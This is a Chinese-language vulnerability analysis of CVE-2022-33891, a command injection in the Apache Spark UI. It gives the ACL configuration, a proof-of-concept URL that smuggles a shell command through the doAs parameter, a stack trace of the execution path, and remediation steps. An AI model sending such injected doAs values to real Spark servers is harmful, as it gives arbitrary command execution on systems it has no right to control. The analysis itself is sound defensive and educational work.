CVE-2022-33891 Apache Spark shell command injection
前言
漏洞公告:https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
影响版本:Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
漏洞分析
漏洞修复commit https://github.com/apache/spark/pull/36315/files ,从commit中不能发现将username直接拼接到命令执行的参数集合中,没有做任何的处理,导致命令执行漏洞。
从公告的描述中能够发现是需要开启acl功能
Severity: important
Description:
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
This issue is being tracked as SPARK-38992
开启acl功能是需要在启动Spark时添加相关的acl参数(默认是不启用),具体配置可以参考官方文档:
https://spark.apache.org/docs/3.0.3/security.html
漏洞启动配置如下,最后[--conf spark.user.groups.mapping=org.apache.spark.security.ShellBasedGroupsMappingProvider]
是可选项,因为不写默认是ShellBasedGroupsMappingProvider:
./spark-shell --conf spark.acls.enable=true --conf spark.ui.port=8090 --conf spark.ui.view.acls=true [--conf spark.user.groups.mapping=org.apache.spark.security.ShellBasedGroupsMappingProvider]
漏洞复现
启动Spark
访问
http://172.20.16.60:8090/?doAs=`open%20-na%20Calculator`
漏洞分析
报错堆栈中可以发现漏洞的执行路径
org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'open Calculator') exited with code 1
at org.apache.spark.util.Utils$.executeAndGetOutput(Utils.scala:1270)
at org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
at org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
at org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2427)
at org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
at org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
at org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
at org.sparkproject.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193)
at org.sparkproject.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1601)
at org.sparkproject.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:548)
at org.sparkproject.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)
at org.sparkproject.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1435)
at org.sparkproject.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)
at org.sparkproject.jetty.servlet.ServletHandler.doScope(ServletHandler.java:501)
at org.sparkproject.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)
at org.sparkproject.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1350)
at org.sparkproject.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.sparkproject.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:763)
at org.sparkproject.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:234)
at org.sparkproject.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
at org.sparkproject.jetty.server.Server.handle(Server.java:516)
at org.sparkproject.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:388)
at org.sparkproject.jetty.server.HttpChannel.dispatch(HttpChannel.java:633)
at org.sparkproject.jetty.server.HttpChannel.handle(HttpChannel.java:380)
at org.sparkproject.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)
at org.sparkproject.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
at org.sparkproject.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.sparkproject.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
at org.sparkproject.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:336)
at org.sparkproject.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:313)
at org.sparkproject.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:171)
at org.sparkproject.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:129)
at org.sparkproject.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:383)
at org.sparkproject.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:882)
at org.sparkproject.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1036)
at java.base/java.lang.Thread.run(Thread.java:834)
可以直接忽视jetty层面的执行流程,直接看spark的执行过程。
org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'open Calculator') exited with code 1
at org.apache.spark.util.Utils$.executeAndGetOutput(Utils.scala:1270)
at org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
at org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
at org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2427)
at org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
at org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
at org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
在org.apache.spark.ui.HttpSecurityFilter#doFilter
方法中,可以发现将参数doAs传入org.apache.spark.SecurityManager.checkUIViewPermissions方法中
在checkAdminPermissions方法传入到isUserInACL方法
在isUserInACL方法调用了org.apache.spark.util.Utils$.getCurrentUserGroups
在getCurrentUserGroups方法中将username传入到org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups方法
然后传入到org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups方法,最终执行传入参数的命令。
漏洞流程
漏洞修复方案
-
升级到最新版本
-
如果开启了acl功能,关闭即可
-
如果一定需要acl功能需要可以自定义
spark.user.groups.mapping
在
org.apache.spark.security.ShellBasedGroupsMappingProvider
中添加命令执行过滤操作。
参考
- https://spark.apache.org/docs/3.0.3/security.html
- https://y4tacker.github.io/
- https://github.com/apache/spark/pull/36315/files
- https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc